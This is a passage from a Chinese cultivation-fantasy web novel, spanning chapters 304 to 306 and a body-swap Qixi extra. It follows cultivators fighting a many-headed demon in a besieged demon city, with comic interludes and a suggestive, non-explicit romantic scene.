“你和他们先跑,我不怕死的就先死吧。”卫朔暴露本性,兴奋地让灵力凝聚于剑上,并且还笑着和马小桐说:“你要记得给我烧纸钱,立碑,然后给我哭坟啊。” 这种时候了,这人还惦记着这个。 不怕死就了不起吗! 但是不怕死确实有点厉害! 可恶,好像是有点了不起。 马小桐的思绪乱如麻,但在最后,她拿着武器站到了卫朔旁边,就和往日里对喜欢寻死的卫朔所说的那般再次开口道: “不行,你不能死。” 第304章 长夜无尽 “小桐,这是你的队友。”被师兄师姐们带过去的时候,马小桐就在期待了,自己的队友会是什么样的人呢? 等见面的时候,简单看过去,都是帅气的少年郎。 对于一生都普普通通的马小桐而言,那一幕属实是让人惊艳。 红衣高马尾少年坐在位置上,喝着茶,举手投足间尽是金贵的气息,就连茶也是上好的茶叶,玉杯上雕刻着精美的花纹。 白衣少年坐在旁边,那轻薄的白纱将他的眼睛包裹着,他的气质偏于安静,那身上的神秘感让人不敢去深究。 最后一个便是那和她穿着普通弟子服的少年,乍一看很简单,但他身上所散发着的厌世气质实属让人不敢接近,那双眸子平静如枯水。 观察完后,马小桐怀疑她和这三个人不是同一个图层的……啊不,不是同一个世界的。 毕竟她是那样的普通。 在那红衣少年看过来那一刻,马小桐就感觉到其中的审视还有那无法忽视的傲意,所以她不由得咽了一下口水。 马小桐这个时候就心生了退意,毕竟自己好像是走了狗屎运才抽到这三位不普通的少年当自己的队友,拖后腿是肯定的,但是跟他们在一起她觉得自己会一直内耗且自卑到死。 这种时候就不要自己为难自己了吧。 这样想着,马小桐就想要和师兄师姐们提出要换个队友的想法,还没等她提呢,那师兄师姐们就拍了拍马小桐的肩膀说:“这是你们的最后一个队友马小桐,来,好好相处吧。” “你们这气势太过分啦,能找到一个愿意过来的可难了。”这是师兄,他哈哈笑了一声说:“先前那几个见到你们就说要换人,说什么不搭的,你们这些人身上的气势也不收敛一下,不过都修仙了这些都是浮云。” 马小桐:…… 不啊,她也想走的。 这哪里是浮云了。 “我们小桐可乖了,希望你们多多照顾她。”这是师姐,并且拿起帕子擦了擦眼泪:“好啦,接下来你们就好好相处吧~” 马小桐:…… 有人在意过她吗? 她这是吃了窝囊的亏了。 那边的盛礼越看了马小桐一眼,嗤笑了一声,然后将手里的玉杯放在了桌上:“那我怎么看,她好像也不是很愿意呢?” 马小桐心里一惊,被发现了,于是她继续窝囊地一声不吭。 “小桐肯定愿意的。”师兄心里也是捏了一把汗,要知道这里哪个都惹不起,哦,那个卫朔可能惹得起,但是那命格太吓人了,他也不敢惹。 “是吗?”盛礼越挑了挑眉。 “如果再不组好四人小队,我们接下来的同门试炼场地就进不去了。”旁边的程启风淡淡开口了,然后他就笑得极为温和朝着前面伸出手:“你叫小桐是吗?我们好好相处吧?” 卫朔没开口,他那副死样好像什么都可以,也就是什么都不感兴趣。 “…啊,对。”马小桐看到那戴着眼纱的白衣少年这样温柔开口,心里一软,然后就巴巴地回了一句。 盛礼越啧了一声也就顺着程启风的话继续说下去:“行吧,反正可能也就这一次。” 结束试炼后他们估计不会再有交集了。 说着,盛礼越就站起来,而师兄师姐们不知道什么时候跑掉了,真是一点后路都不给马小桐。 “你叫马小桐是吧,我叫盛礼越,既然我们之间有这种缘分,那接下来就好好相处吧?”这句话愣是被盛礼越说出威胁的意味在里面。 而程启风也没纠正这一点,正如大家所想的,这个四人小队就是为了应付这次试炼,结束后他们就是陌生人了。 “我叫程启风,既然我们是队友了,那就好好相处吧。”程启风说话倒是温温柔柔的,让人听着舒服。 卫朔没有做自我介绍,他一个字都不屑于说。 “他叫卫朔,应该挺有名的,你听过的吧。” 何止啊!你也很有名啊! 马小桐大概明白前面的人为什么望而却步了,虽然可以躺平,但是和这些天之骄子同行总要失去点什么。 那就是名为存在的尊严。 于是马小桐窝囊地失去了。 只不过在试炼的时候…… 马小桐至今想也想不明白,为什么大家全去攻击那三人,这就导致她拿着积分,美美地隐身,并且在那三人被群殴倒地不起的时候,过去把这三人拽到法器上带回去。 是的,群殴。 问天门最喜欢群殴天之骄子了,问就是自己才是天命所归和什么去你的命运。 但是由于三人的厉害,这就导致对方也讨不了什么好处。 于是马小桐毫无道德地在大家打差不多后出来把积分都收割一番,然后就带着做出贡献但是没有力气收割积分的队友踏上返程的路。 那年的第一就是那么来的,还是断层的那种。 而因为这个第一来得对于并非普通人的盛礼越和程启风有点丢脸,至于卫朔,可能是因为马小桐把他捡回去后瞎想了什么,就开始活泼地骚扰她要她给自己哭坟。 当然不止这些,但这是马小桐对这些天之骄子的滤镜碎一地的开始。 好像天之骄子除了厉害点也和普通人差不多。 当然,在被喊口号的那一天,马小桐对此感受更深。 跟上天之骄子步伐很难的,马小桐并没有这个打算,因为他们站得很高,她知道自己没有实力。 但,他们都伸手下来了,当然要握住啦。 因为朋友说要手拉手一起走了。 就像现在这样,她挥舞着武器,走在了寻找伙伴的路上,尽管危险依旧在周围,但都修仙了,偶尔不怕死也没什么吧。 “它,它好难打。”马小桐只是个普通器修,她的锤子是打铁的不是打架用的啊。 “难打你就先走。”卫朔看着身上被魔物弄出伤痕,浑不在意地提着剑又冲上去。 “你一个人会死的。”马小桐果断地说,然后她转头对那些士兵说:“这里很难打,你们先走。” 士兵:……? “我们也并非怕死之辈!!!”士兵们怒了一下。 然后愣是一个人都没有退。 “………”卫朔难得叹了口气,收起那兴奋的笑容,几剑下去,那魔物攻击手段再生也需要点速度,于是他微微转过头来看马小桐,语气很淡,那双平静的眸子让马小桐不由得想起她初次见到这人的模样。 “我这种人死了就死了,没什么好说的。”卫朔那么说着,他语气就和说今晚吃什么一样正常,他一直都这样,用这样的语气说着自己的生死,这是马小桐最不能理解和忍受的地方。 所以她每次都会反驳卫朔。 可这次她没有反驳他。 就在卫朔以为马小桐终于接受这一切的时候,他便提着剑转身继续战斗,其实一直以来,他觉得战死是最好的死法。 下一刻,马小桐抬起手猛地推开了卫朔到另一边,而她的瞳孔里映着那自土里生长而起的黑丝,那是卫朔打落的魔物残躯,如今那黑丝悄声无息化作了尖锐的利刺朝着卫朔身后袭来。 但马小桐推开了卫朔,如今是她直面那自地里拔起的黑刺,呼吸有那么一瞬间是停滞的,就连四周的声音也在此时消失殆尽。 一支箭燃着烈火划破长空而至,它直直地刺破那黑刺的偷袭,将那份炽热的火传递在黑刺的身上,随后将这份黑暗燃烧吞尽。 卫朔也在这个时候急忙将马小桐拉了过来,呼吸急促着,就连那握住的指尖都是颤抖的,并且凝聚剑气朝着那些还要继续生长出黑丝的东西砍去。 “…………” “这边——这个鬼道友说有个阵法可以困住这个魔物,快把他引过来!!”唐山玉在远处拿着弓箭喊着,并且招手让他们快点把魔物带过来。 盛知许在旁边轻呼出一口气,差一点这人就被魔物背刺了,幸好他们带了不少远程攻击的法器。 卫朔听到这话,直接一把将那马小桐夹在腋下,然后就这样带着人往唐山玉用箭指引的方向跑去,他就这样带着人追逐过去,这一次难得的,他是为了生往前奔去。 就在这个时候,鬼道友则站在唐山玉旁边小声地说了一句:“谢谢你。” 唐山玉一时之间并没有将这个谢谢和自己所做的什么行为联系在一起,索性先不想,只见他就这样拿着弓箭和大家一起往那处可以困住魔物阵法的地方跑去。 这个鬼道友的身份,他有过许多猜测,但是目前也只能过去走一趟,如今魔物盯上他们了,也就不能继续静悄悄地搜寻那些失踪人的存在。 既然如此,那就把目光放大胆点,来一个魔物斩一只魔物。 待众人来到了那传说中可以困住魔物的阵法处,只觉出此处的血腥让人无法忽视,空气里还弥漫着即将溃散的灵力。 这是一处战场,而此处的战场比他们在路上见过的都要残酷,四处是飞溅的血迹,还有那散落在地上染血铠甲和武器。 无声,还是无声。 只有那万头鬼的那一声声呼唤,而他们在这个时候,居然从中听出了熟悉的声音,那是他们不敢细想的熟悉。 “…我,我听到了张仁的声音,我听到了,他在那里,他就在那里啊!!”有一个士兵率先忍不住崩溃出声,他崩溃的不是好友的战死,而是那战死好友的声音里夹杂着的痛苦。 那无数个头颅,也是那难以数清的痛苦。 而魔城的长夜本就无尽。 七夕之师徒互换身体 那是在一切都很平和的时候。 唐山玉睁开眼,发现自己睡在了一个熟悉的房间里,这个熟悉是自己经常过来的熟悉,并不是自己日日睡这里的熟悉。 他坐了起来,发现身体也不太对,伸出手看看,惊觉这不是自己的身体,但是这身体他也熟悉,是秦兰时的。 这一系列的惊吓下,也不知道会不会扣除人的一点理智。 不过唐山玉很淡定,因为凡事必有破解之法,除非自己做的是微积分,那个他是真的不会解。 感受一下体内那充沛的灵力后,唐山玉就准备去秦兰时那边看看情况,还没等他开门呢,秦兰时就先到了,不过顶着的是唐山玉壳子,并且还扎着人最爱的高马尾。 唐山玉略微看一眼,就看到自己的气质比自己在的时候活泼不少,看着就容易闹腾,如果苏岭月看到这样的唐山玉,肯定会觉得这就是秦兰时的徒弟。 “山玉——怎么回事——”秦兰时刚喊出来一下,就看到自己的身体半眯着眼并且抱臂倚在门框旁看着他,趁着阳光恰好时还懒散地打了个哈欠,并且气质上有着说不出来的沉稳。 “先进来研究一下……怎么了?”唐山玉刚想把人带进屋内,就看到秦兰时版唐山玉直勾勾地盯着他在瞧。 “…我……”秦兰时张了张嘴,然后很是惊喜地道:“我这样子真帅啊!!!” 唐山玉一脸无语,而无语的表情出现在秦兰时的脸上,显得有些格格不入。 总之俩人在互相欣赏一下与众不同的自己后就开始研究起这件事到底是怎么发生的,很快,他们找出来了,原来是昨晚研究秀恩爱法术出了点差错,秦兰时本想试试弄个他们靠近彼此就开始撒花瓣的法术,岂料途中出了点问题。 不过,问题不大,因为这个法术维持的时间是一天,也就是说一天后就换回去了。 知道能换回来后,俩人不由得先松了一口气,可这口气让秦兰时突然憋住了,他仿佛想起了什么,狠狠打了一下自己的脑袋说:“完了完了!山玉!!!” “什么?”唐山玉转头看过去。 “我今天要开会!”秦兰时喊得极为大声,并且说:“我是长老,要出门去开大会!” “……会议内容是什么?”唐山玉不由得谨慎起来了。 “好像是一些秘境资源分配问题,不过没关系,顾延清和梁均会跟着去,我平时也不怎么开口,你就干看着就行。”秦兰时说着就怜爱地看了一眼唐山玉:“就是可能有点无聊。” “好,什么时候开始。”唐山玉点点头,表示理解,他之前也不喜欢开会。 秦兰时又问唐山玉:“那你呢?你今天打算做什么?” “和人论道,和谢璟练剑。”唐山玉想了想就说:“不过你可以不用去练剑,你把谢璟咕咕了就好。” 嘴上说着咕咕,但是唐山玉想着要是秦兰时不愿意他就飞信过去,让谢璟该干嘛干嘛去,不用过来练剑挥洒汗水了。 “不用。”秦兰时摇了摇头,然后一本正经地说:“因为,我现在就是唐山玉了。” 唐山玉:…… 看得出这人玩心很大。 “那我去开会了。” 唐山玉熟练地接住空中喊人去开会的传音符,听到那边的催促声就摆出正经的表情:“你不要用我的身体惹事。” “怎么会呢山玉,我是那种人吗!!”秦兰时当即不满地反驳道。 唐山玉:…… 你是啊。 无语表情的秦兰时是难得一见,活泼兴奋的唐山玉也是如此。 总之,先过完这一天再说。 唐山玉去了,然后见到了梁均和顾延清,这俩人看到他过来就冲这边点点头,其中梁均语气有些阴阳怪气地说:“哟,终于肯来了?” “嗯,抱歉,是我来迟了。”唐山玉有些歉意点点头,然后就走过去。 梁均听到那一句在道歉的话后不由得多看这个唐山玉版本的秦兰时好几眼,就连顾延清都忍不住侧头望去。 “……”完了,本能地礼貌了。 唐山玉面带笑容看回去,但是他此时此刻心里在汗流浃背。 “走吧。”最后是顾延清先发话了。 唐山玉在心里松了口气,不过这口气松早了,等过去后,有不少陌生面孔的长老过来找随清宗的人聊天,他不认识就全看着梁均和顾延清说了。 整个过程他都很沉默,顾延清看了一眼,只当人是在无聊,而梁均已经开始埋头苦干了,这就是牛马的精神。 就在唐山玉以为自己可以这样沉默到结束的时候,事情自己找上门来了,对方来势汹汹,看着就和秦兰时不对付。 唐山玉张了张嘴想要说什么,对方就开始阴阳怪气起来了,不是说他今天穿得不咋地就是说起秦兰时之前的行事张扬,不把人放在眼里。 人在说,唐山玉在听。 人说完了,唐山玉也就把出去散心的灵魂扯回来。 人看到他这样面不改色,甚至也开口和他呛几声,顿时感觉到自己被狠狠无视了,当即就要说点什么。 然后,他就看到唐山玉冲他笑了一下,并且拿出了卷轴开始和他谈起了公事,这个人不由得迷茫了起来。 但是他的思路在被唐山玉接下来的话带了走,甚至越听越不由得点点头表示认同,再加上唐山玉用词之得体,话语之礼貌,他不由得也变成了一名合格的牛马。 闲话那么多就是太闲了。 而随着唐山玉那富有感染力的演讲下,附近几个其他宗门的长老不由得也被带了去,就这样,等顾延清和梁均去找人的时候,就看到这个秦兰时被围在中心,其他长老人手一份卷轴,并且脸上都是这口饼真好吃的暗喜。 顾延清:……? 梁均:??? 秦兰时什么时候那么积极干活了? 与此同时,另一边,秦兰时顶着唐山玉的脸过去参加小辈的论道大会,与此同时他也遇到了唐山玉的几个好友,这好友可真好友啊,看到他的时候眼神都拉丝一样。 “山玉哥哥!”江玉瑶兴奋地喊道:“你来啦?” 方安城眼神里带着期待。 “本少爷就知道你不会不来,虽然晚了点~”叶玄洲略有得意地摇着扇子,此刻他就是人群中最靓的仔…… 不,秦兰时是不会允许这种事情发生的。 于是他也突然灿烂笑了一下,并且略微整理了一下衣着,也拿出个扇子开始给自己扇风。 站在俩人附近的江玉瑶和方安城都感觉到了那凉风习习。 “接下来我们要论一下关于修行之道,不知山玉哥哥可有什么见解?”江玉瑶一脸期待地看着秦兰时,可秦兰时却暗自想着自己当真要论这修行之道吗? 这论道来论道去,不还是那些话,实属是没意思极了。 于是秦兰时非常自信地说:“不——我要论的是——” “要怎么给家里的茶壶接生二胎,并且让其改嫁到其他人家的木椅那里。” 众人:……? 这话太怪了,引得众人不由得看了过去,只见一个意气风发的少年郎正在享受着此时的万众瞩目,对的,秦兰时在享受。 他故意说这句话就是为了让自己变成全场最靓的仔。 那么一想,扇子上的扇风速度加快了。 叶玄洲暗自看了一眼,不免叹道没想到唐山玉还有这种本事,实属是比不过来,人怎么能恰好让风扇出自己最帅的面孔呢,太准确无误了。 “这位道友,你这是在论道吗?这怕不是在胡言乱语吧?”其实很多人都觉得秦兰时在胡言乱语,只不过这个人先说出来罢。 “非也非也,诸位听我一言,我这论的可谓是众生之道,正所谓你们为什么知道这茶壶就生不了二胎又,又为什么它就不能改嫁到木椅那里呢?” “茶壶不是众生吗?木椅不是众生吗?它们只是不会说话,不代表它们就不存在,而存在就是有意义的,你又怎知不会说话的物件就不会生二胎就不会改嫁?” 好一长篇大论,就这样论下来,众人居然还觉得颇有几分道理,秦兰时见此就稳了,于是再接再厉,就这样,论道主题就变成茶壶的二胎如何接生,又是如何改嫁到其他人家的木椅那里。 最后,秦兰时收获了众人的目光洗礼,骄傲地回去了,然后他还记得要与谢璟练剑,当即兴奋地过去要打一下谢璟。 谢璟看着这个兴奋的唐山玉,总觉得哪里都奇怪,但是又说不出来,但是在和唐山玉对招后他发现,这个唐山玉怎么专挑屁股打。 不对劲,十分之不对劲。 谢璟捂住屁股狠狠沉思了起来。 而秦兰时赢了后就哈哈大笑了一声,笑得谢璟看其的眼神更古怪了,而秦兰时笑完后就觉得自己笑得猖狂了点,于是就收敛了一些。 总之,一天结束后,两位各自回到了屋内,唐山玉手里还拿着卷轴,并且一边走一边看,而秦兰时不知道在哪里偷了个鸡顶在头上美滋滋地回来了。 俩人互相对视了一眼,都暗道自己这形象实属是难得一见。 秦兰时就没有见过那么认真的秦兰时。 唐山玉就没有见过那么抽象的唐山玉。 许是互换了身体,所以就算独处也俩人没有那种旖旎气氛了,只是大被同眠,老老实实地单纯睡上一觉。 睁开眼,身体回来了。 而秦兰时收获了一堆亲自认下来的工作,收获了顾延清那欣赏的目光还有梁均你居然卷我的眼神。 唐山玉则被人拉着问着茶壶二胎接生手法和胎儿护理,并且他这几天还被谢璟拒绝了练剑。 俩人都有光明美好的未来,可喜可贺。 第305章 选吧 “小将军……” 一老妇于长江边上拦住了盛礼越的去路,她那如枯木皮般的皱纹因笑容挤在一起,步履蹒跚地往前挪动着,她抬起头的瞬间,那银白的发丝自空中飘着,夕阳落于江边,那抹金辉接着波光粼粼的江面尽撒于众人的身上。 “老人家何事?”盛礼越见此就转身一跨,就这样从马上下来,他抬起手扶住这个老妇人。 老妇人见盛礼越扶上来,有些惶恐地退了一下,但是又想起自己的来意便笑眯眯地从篮子里掀起盖在上面的粗布,露出里面的鸡蛋。 “小将军助我们良多,就送些鸡蛋给小将军补补。”老妇人将那篮子里的鸡蛋展示给盛礼越看,然后就把这篮子递过去。 “哎,不必。”盛礼越一愣,随后抬手拒绝了,他说:“不用了,老人家,这些就留给你补补身子就好。” “那不成,是要给的。”老妇人摇了摇头,很是坚决地说:“小将军,是要给你的,就是你的。” 盛礼越又推脱了一番,那篮子鸡蛋愣是落在了他的怀中,他有些无奈,而在看到那老妇人眼里的亮晶晶,这怀里的鸡蛋不仅沉重了几分。 “我会收下的。”盛礼越这样说着,温柔地对那老妇人笑了,与此同时,有小孩自那老妇人身后探出脑袋,看着因是那老妇人的孙女,她抬起头眼睛亮亮地看着盛礼越。 “…怎么了?”盛礼越见此就冲她笑了一下。 “大将军!”小姑娘见盛礼越很是温和,胆子也大了,就开心地说:“大将军你好厉害,那些怪物都被大将军你打跑了!!” “以后那些怪物们都不会再来了吗?”小姑娘眨了眨眼,好奇地说:“我们以后不用再害怕了吗?上次那个怪物把隔壁房子里的牛小二吃掉了,他奶奶哭得可伤心了。” “嗯,不会来了。”盛礼越笑着摸了摸这个小姑娘的脑袋,并且不经意地弄乱小姑娘的辫子。 “因为我会保护你们。”说着这番话的时候,盛礼越眼前似乎闪烁过一个画面,那是染血的衣裙和那不再美丽的女人,他缓缓深吸一口气,再次做了保证:“本将军一言九鼎。” 小姑娘闻言和老妇人一起笑得更加开心了,四周的金光映着人暖暖的,让其好像一场朦胧的梦……或许这就是一场梦。 盛礼越睁开眼,就连呼吸都带着轻微疼痛,他咳了几声,看到不远处的仅剩的士兵们正在互相包扎伤口,有的则抱着武器无力地靠着墙壁休息着。 经过一场大战后,大家都特别累,而盛礼越可以感觉到自己的灵力回得越来越慢,也是,在浓郁的魔气里,灵力应当节省些用比较好。 也不是没有灵石可以用作补充,但是该用都用差不多了,已是穷途末路之际了。 “将军。”有人过来说:“已经没有什么可以布置阵法的灵石了,最多只能布一阵。” “嗯,我知道了,辛苦了,让我想一下接下来应该布什么阵法。”是的,灵石还有这种作用,所以消耗得也就越快。 而程启风已经在旁边休息了,他看上去很安静,要不是那起伏的胸口,或许盛礼越都以为这人早早离了去。 程启风算方位,感天地,每次都是他先算出那魔物的方位,还有进攻路线,但奈何对方难杀,他们折损了不少人,到现在已不剩下什么了。 “…现在怎么办?”盛礼越转头看去,他露出了一抹无奈的笑:“我们好像真要死这里了,你算得可真准。” “……”程启风闻言也是一笑:“那能怎么办?都说了死劫难逃,天命如此,争过也闹过,来来去去也就那么一回事。” “…这不像你说的话。”盛礼越呼出一口气,然后站起来,握紧了手里的长枪。 “不好意思,我自卑一下。”程启风答得倒也幽默。 “就算不算,你也知道会有人过来找我们的,对吧。”盛礼越笑着,扛起那枪,随后整个人半倚在门处,他转过头去,任由那风急急地吹,枪尖银亮,一如既往。 “……对。”程启风轻笑着,垂下头,手上是仅剩的最后一枚铜钱,他将这铜钱往天上抛去,随后也起身,朝着前方而去。 随着那铜钱的落地声响起,那程启风的声音懒洋洋地开口道:“既如此,那我接下来就不算了。” …… 顾延清将魔物杀死于魔城里,而他身上也带了些许伤痕,所幸在他恢复回原来的实力后,这些伤便开始自愈了。 这魔物的弱点在其核心,只要将其破坏,那么这些残骸便缺少了可以提供他们活动的心脏。 金丹并非不能打,只是需要有困住魔物的能力,还有强力的攻击手段。 轻松口气后,他就开始寻找起谢璟在哪里,然后他就看到了这个魔城另一边的坍塌盛况,很显然谢璟因为找不到出口在生气,甚至人还有点急躁。 这样想着,他便寻了过去,路过废墟后,他便瞧了一眼这废墟上残存的魔气,感觉出其主人很暴躁,是心情不好吗? 等找到人的时候,顾延清就看到谢璟站在一片废墟上,低垂着头,令人看不清他此时此刻的神情,谢璟手上拿着剑,剑上染着那忽隐忽现的魔气。 “……阿璟,你……”顾延清察觉出了一丝不对劲,只因为这人实在是太安静了,按理说,根据四周的狂躁魔气判断,这人不应该那么安静才是。 谢璟转过头去,那没什么神采的双目看得顾延清有些心惊,那一瞬,谢璟勾起嘴角,对顾延清露出一个要哭不哭的笑容,简单来说,就是破防的笑容。 紧接着,他整个人往下倒去,顾延清连忙赶过去扶住了人,那一刻,顾延清可以感觉到这具躯体的冰冷,那僵硬感让顾延清差点以为人在自己不知道的地方死去那样。 可等把人翻过来后,入目的就是谢璟那浑身的魔纹,现在已经逐渐蔓延至脸上,这种魔纹通常出现在发疯的魔族身上,发疯后魔气不得控制,一般来说,这种满身魔纹的情况得不到救治后死掉是正常的。 因为不管是灵力还是魔气,它们发疯后最遭罪的还是修士的身体。 或许两者的区别是……灵力发疯修士是身体发热,魔气发疯修士是躯体发冷。 “…璟…阿璟……”顾延清不知谢璟为何会突然这样,但灵力与魔气本就排斥,如果是以前,他自然可以为其缓解一二,但现如今,他的灵力对谢璟来说无异于是毒药。 “……”谢璟闭上眼,对于顾延清的呼唤充耳不闻,他现在没有这种闲工夫去处理外边的事,而他如此急躁地想要出魔城也是因为……他到了这个时期。 对于普通魔修而言,这种魔气发狂的情况没那么多见,这种情况一般都是出现在魔气过多,而身体自我修复跟不上魔气暴涨的速度。 按理说,一般都是修士误吃了什么东西导致的。 但谢璟这种情况不是,他知道,自己的身体情况和目前的魔气很不搭,也不知那些魔主对他身体做了什么,总之每年这个时候都会出现一次魔气发狂的时期。 但就算如此,就算每年这样,他也没死,非常奇迹般地活了下来,不过这一切都很遭罪就是了。 有一种身残志坚的感觉。 谢璟并不想在别人面前示弱,所以这种日子他一般都是躲着人的,可尽管如此,在唐山玉那个眼神下,还有自己那股子沉在心里的心虚,还有那一点点微妙的期盼下。 他还是选择了带顾延清走了。 按理说,没必要,不需要,他不想。 可……为什么呢? 谢璟再次睁开眼,然后看到了抱住他的顾延清,这个人垂下头时,望着他的那双眼里露出那些许惊慌和担忧真叫人渴望。 他的确有点破防,自己这种情况让他人瞧了去,那他这个魔尊还有没有面子了,可这份关心,自己又是如此的渴望。 这和秦兰时的那种担心不一样。 谢璟知道的,在内心深处,自己想逃避这个人的同时,也在渴求着他,渴求他的怜爱,渴求他的注视,只是在之前,前者的逃避更为浓烈些罢了。 但如今,在这魔气发狂的影响下,还有这人将自己拥住的瞬间安心里,谢璟将那份逃避肆意丢了去,选择了他压于心里许久的渴望。 “…好些了吗?”顾延清早已将人移到了安全的位置,与此同时,他将乾坤袋里的被子衣服什么都拿出来给谢璟铺好且盖上,既然灵力上不能帮忙,至少能借助其他来让谢璟没那么冷。 “……还是很冷。”谢璟盯着人瞧着,他这话可不是在骗人,他的确冷。 “那……”顾延清转身又去乾坤袋里掏啊掏,他打算拿出点能发热的东西给人驱寒。 “不需要,我不需要那个。”谢璟突然抬起一只手勾住顾延清的脖颈,另一只手则将人的下巴按住,不让其动弹,他仰起头,一字一句地说:“我需要的,是别的东西。” “什么……?” 话音刚落下,顾延清微微瞪大眼,谢璟趁着他低头说话的间隙仰头吻住了他,片刻间,混乱的呼吸交织于俩人之间,而谢璟一个用力就将人按于地上,上下位瞬间颠倒。 “我很冷。”谢璟那么说着,他好像在说今天吃什么那般轻松,但他可以感觉到自己的现在声音有些发紧,紧接着,他抬起手为发冷的自己褪下半边衣裳,露出内里的紧身黑衣。 谢璟握住顾延清的手,将其按在自己的胸膛那,让人感受着自己里头跳得厉害的心脏,那一声又一声的,快得热烈。 “选吧。” “……?”顾延清有一瞬的迷茫。 “上还是下,你选一个,我都可以。” 谢璟很无所谓地开口了。 第306章 将军踏火向前 什么上?什么下? 谢璟到底在说什么? 顾延清不由得迷茫了一下,这不怪他,前不久他只是勤勤恳恳地杀怪,后来发现谢璟有点事后就带着人找了个安全的地方休整。 人方才还虚弱地在他怀里说冷,然后又抬头吻住他,然后就趁着他因为这个吻迷糊的瞬间就把他掀翻过去,并且把他给压在了身下。 就这样,顾延清躺在了他先前为谢璟准备的被褥里,柔软将他的背后所包裹,呼吸也因有一瞬间的微颤。 顾延清在思考,而放在谢璟的眼里就是这人带着一股子不拒绝也不主动的渣味,好吧,其实是谢璟难得的幽怨视角导致出来的渣味,被魔气影响的他本能地想要让自己更舒服一点。 明明是这个人先说喜欢自己的。 谢璟这样想着,也就没客气,既然人不开口选择,那他直接默认自己在上面就好了。 就这样,谢璟垂下头,扯着顾延清的手自胸膛那往自己的腰间缓缓抚去,而他的手顺着顾延清的手臂往上滑去,最后握住了人的肩膀。 带着一丝哄意开口道:“顾延清,你不说我就当你应了。” 说着,他亲吻了一下顾延清的脖颈,这是他微小的试探,很显然,顾延清因为他这个举动小颤了一下。 “你……”顾延清终于回过神来谢璟方才的意思了,他连忙说:“等等,你的身体……” 他还想着谢璟方才那虚弱的模样,还有现在这浑身魔纹的样子。 “你这是怎么回事?为什么你会……” 顾延清还想要问更多,就被谢璟捂住了嘴,用手捂住的,与此同时,他的另一只手正轻轻解着顾延清身上的衣服。 手指轻轻划过顾延清的胸膛,留下那惊火入林间的烈感。 “少说话,多干活。”谢璟低垂着头,看着顾延清此刻那僵硬的面容,唔了一声,然后明白似地笑了一下:“抱歉,忘了,这事可不能就我自己开心。” 说完,那指尖惊扰起了花丛里的蝴蝶,衣服被其反复摩挲起皱,薄汗微现,敛眉突惊意,玉树顾那东风起。 “………等……” 谢璟倾身而上,咬住这人的脖颈,齿痕沦落于白玉间,舔吻着那微颤的玉露,后又顺其往下,半开的衣裳让人不由得遐想更多。 “…等一下……”顾延清偏过头,身子往旁边退着,但下一刻就被谢璟握住肩膀扯了回去,凛冽的冷风被那绵绵不休的火给缠绕上了。 等顾延清转头看去,落下来的,又是一个止住人呼吸的吻。 “…………”欲要渡尽那甘霖,争那无尽天上的落明月。 在那只手握住那腰带之时,顾延清轻呼出一口气,抓住谢璟的手腕,然后一个用力间就坐了起来,而谢璟被人拉得一愣。 “不可。”顾延清抬眼看去,他此时眼里全是严肃,而声音里有些许低沉与哑意,与此同时,他控制住谢璟的那只手越发地用力。 “……为什么?”谢璟眯起眼,语气有些不乐意,他现在很冷,他需要让自己暖一些罢了,刚好也有些私心在里头。 “你身上的魔纹是怎么回事?不要转移我的注意力。”顾延清死死地盯着谢璟身上魔纹看。 “……” 被发现了呢。 谢璟的确有转移注意力的想法,见人不吃这一招,他干脆就抽出自己的手,打算自己熬着过这个魔气狂乱,身体崩溃之苦。 然后,他发现自己的手没有抽出来。 谢璟看了过去。 顾延清看了回来。 俩人相顾无言了一会儿,随后就是顾延清的先发言,他说:“阿璟,你先歇会,我去处理这里的魔物,那魔物的核心我已取在手里,接下来就是要用其突破魔城结界。” 谢璟看着人就这样用被子把他套了个厚实,并且那没有抽出的手也被人放进里头,而这人无比严肃地继续说:“我在此地弄了阵法,它们不会靠近你们的。” “……” 就这样,顾延清拿着剑走了,只是走出去的时候,步子踉跄了一下。 与此同时,另一处魔城—— 那里的魔城和顾延清所在的魔城并不一样,但突破魔城结界的办法是一样的,只是他们目前还不知道。 现在他们正引着魔物往那个阵法处赶,而其残留的灵力也越来越多,地上有,旁边的废墟里有,零零碎碎的积攒着。 他们正走着那些人走过的路。 那么,现如今,那些人又在哪里了呢? 没人去细想,或者说不敢想。 在走进那阵法里的时候,他们发现这个阵法才完成了一半,得再注入些灵力才能成阵。 “……你到另一边去。”卫朔看到这还没准备好的阵法,就顿时一阵头疼,随后他松开了拉住马小桐的手,然后将人往旁边一推。 “…你再推我呢!你再推开我呢?!”马小桐被小推了一下,瞬间就炸了,当然现在不是吵架的时候,她当即到另一边去,拿出她携带的补充灵力用的法器,开始给这个阵法注入灵力。 “……”卫朔没有回应她,而是转身再次拔剑。 唐山玉和盛知许也紧随其后,看着那阵法,便心下了然,唐山玉当机立断也拿着剑与那卫朔站在一块,抵御着那即将到来的魔物,盛知许则在四周准备着治疗用的法术。 大家各司其职。 等那万头鬼过来之时,其中夹杂着呜咽声笑声此起彼伏,人们仰头看去,呼吸一滞,原来是那一颗颗头颅都伸长脖子朝着这边飘来,而他们的身子则挤着粘合在一起,看上去亲密无间。 万头鬼袭来,人们纷纷拿起武器抵抗,空气里混浊的魔气让人有些许眩晕,血雾染起,落于地上,与先前的血混在一起,慢慢的,又逐渐干涸。 至于万头鬼的弱点,大家还在寻找着,它有无数个头颅,如果其存在着魔物核心,那么那核心定然混在其中。 “要找到最初的那一颗才行。”唐山玉斩落一颗头颅后,皱眉说着:“在场的人,可能有分辨出来的?” “很难,太多了。”卫朔回应着,他一边打一边抽空看一眼马小桐那边的位置。 “我现在没有那种精力……”马小桐还在往阵法上输送灵力,闻言有些无力道。 “…我来吧。”盛知许开口了,而他的脚下正有着一片生机绿意,而正是这片绿意保护了在场的所有人,只见那源源不断的生机通过地面散布于众人的身下,而这些生机正修复着人们被魔物袭击的伤口。 “你要如何做?”唐山玉往后退了一步,站至一边,以烈火作壁,将那头的数个头颅拦在了后头,虽是暂时的。 盛知许轻声开口道:“很简单,一直以来,我身上的血深得这些魔物的喜爱,可能是因为其中气运足够美味吧。” 若说慕轻轻的龙血是字面意思上的龙血,那么盛知许的龙血所蕴含是真龙天子的气运。 “你要引诱它出来?”唐山玉领悟到了盛知许的意思。 “不。”盛知许摇摇头,而后一把锋利的匕首出现在手上,就这样,他举起匕首朝着自己胳膊上划了下去:“我所做的,就是将它们的贪婪聚于一体……” “只有这样,我们才能够杀死它。”盛礼越轻笑着擦去脸上的血,他已经做好了准备:“虽然我的血比起我那位兄长没那么具有诱惑力,不过对于这种在这里吃了那么久的猪食而言的魔物,这点细糠够它回味许久了。” 